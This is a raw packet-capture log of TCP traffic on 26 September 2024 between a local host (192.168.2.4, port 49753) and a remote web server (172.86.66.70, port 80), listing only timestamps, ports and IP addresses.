Sep 26, 2024 12:12:22.605539083 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605542898 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605551958 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605559111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605601072 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.605626106 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.605811119 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605815887 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605834961 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605839968 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605853081 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.605887890 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.605887890 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.605923891 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.606232882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606333017 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606344938 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606386900 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.606574059 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606580019 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606607914 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606614113 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606620073 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606658936 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.606658936 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.606702089 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.606765032 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606770039 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606781006 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606786013 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606791973 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606796980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606807947 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606823921 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.606842995 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.606885910 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.606935024 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.607028008 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607033968 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607090950 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.607124090 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607130051 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607141018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607153893 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607171059 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.607196093 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.607254982 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607357025 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607364893 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607374907 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607381105 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607393026 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607398033 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607403994 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607405901 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.607445955 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607451916 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607485056 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607486010 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.607486010 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.607587099 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607593060 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607604980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607610941 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607616901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607660055 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.607660055 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.607736111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607742071 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607753992 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607758045 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607764959 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607769966 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.607806921 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.607806921 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.608484030 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608521938 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608527899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608573914 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608589888 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.608652115 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608659029 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.608686924 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608694077 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608702898 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608745098 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.608779907 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.608841896 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608848095 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608859062 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608864069 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.608908892 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.608937979 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.609098911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609146118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609159946 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609163046 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609205008 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.609242916 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.609524012 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609530926 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609536886 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609575987 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.609632969 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609637976 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609649897 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609656096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609679937 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.609713078 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.609786034 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609833002 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609844923 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609848976 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609859943 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.609895945 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.609895945 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.610151052 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.610157013 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.610168934 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.610205889 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.610260963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.610317945 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.610317945 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.610323906 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.610404015 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.610409975 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.610418081 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.610460043 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.610512018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.610517979 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.610582113 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.610637903 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.639527082 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.639543056 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.639548063 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.639559031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.639564991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.639569998 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.639576912 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.639588118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.639653921 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.639676094 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.692006111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692132950 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692142963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692150116 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692154884 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692161083 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692166090 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692172050 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692198992 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.692249060 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.692287922 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692293882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692305088 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692310095 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692320108 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692325115 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692354918 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.692356110 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.692488909 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692493916 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692543983 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.692569017 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692574024 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692584991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692620039 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.692640066 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.692648888 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692653894 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692665100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692672968 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692677975 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692687988 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692699909 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.692770004 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.692914009 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692924023 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692929983 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.692934036 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693065882 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.693425894 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693430901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693443060 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693547010 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.693550110 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693556070 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693566084 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693572044 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693599939 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.693631887 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.693763018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693768978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693779945 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693784952 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693794966 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693835020 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.693835020 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.693859100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693866014 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693876982 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693881035 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693911076 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.693929911 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.693964005 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693968058 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693974018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.693979025 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694029093 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.694030046 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.694113016 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694118023 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694128990 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694133997 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694144011 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694150925 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694156885 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694168091 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694173098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694173098 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.694185019 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694219112 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.694219112 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.694289923 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.694384098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694457054 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694498062 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.694624901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694629908 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694684982 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.694734097 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694740057 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694799900 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694804907 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694816113 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.694817066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694897890 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.694956064 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694962025 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694967985 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694972992 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694983006 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.694989920 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.695024967 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.695024967 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.695576906 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.695745945 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.695750952 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.695761919 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.695822954 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.695880890 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.695885897 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.695898056 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.695903063 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.695908070 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.695943117 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.695943117 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.695945024 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.695993900 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.696022987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696027994 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696039915 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696105003 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.696254969 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696259975 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696270943 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696326017 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.696326017 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.696455956 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696505070 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696515083 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696594954 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.696630001 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696635008 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696645975 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696651936 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696656942 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696688890 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.696739912 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696743011 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.696844101 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696854115 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696860075 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696866989 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696871996 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696875095 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.696914911 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.696916103 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.697650909 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.697691917 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.697696924 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.697717905 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.697777987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.697782993 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.697782993 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.697796106 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.697801113 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.697829008 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.697942972 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.726460934 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.726464987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.726478100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.726556063 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.726618052 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.726624012 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.726630926 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.726635933 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.726645947 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.726685047 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.726685047 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.779227018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779232979 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779237986 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779243946 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779248953 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779319048 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.779351950 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.779366016 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779371023 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779387951 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779393911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779414892 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.779443979 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.779517889 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779524088 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779535055 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779539108 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779545069 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779563904 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.779577017 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.779596090 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.779699087 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.779704094 CEST	80	49753	172.86.66.70	192.168.2.4
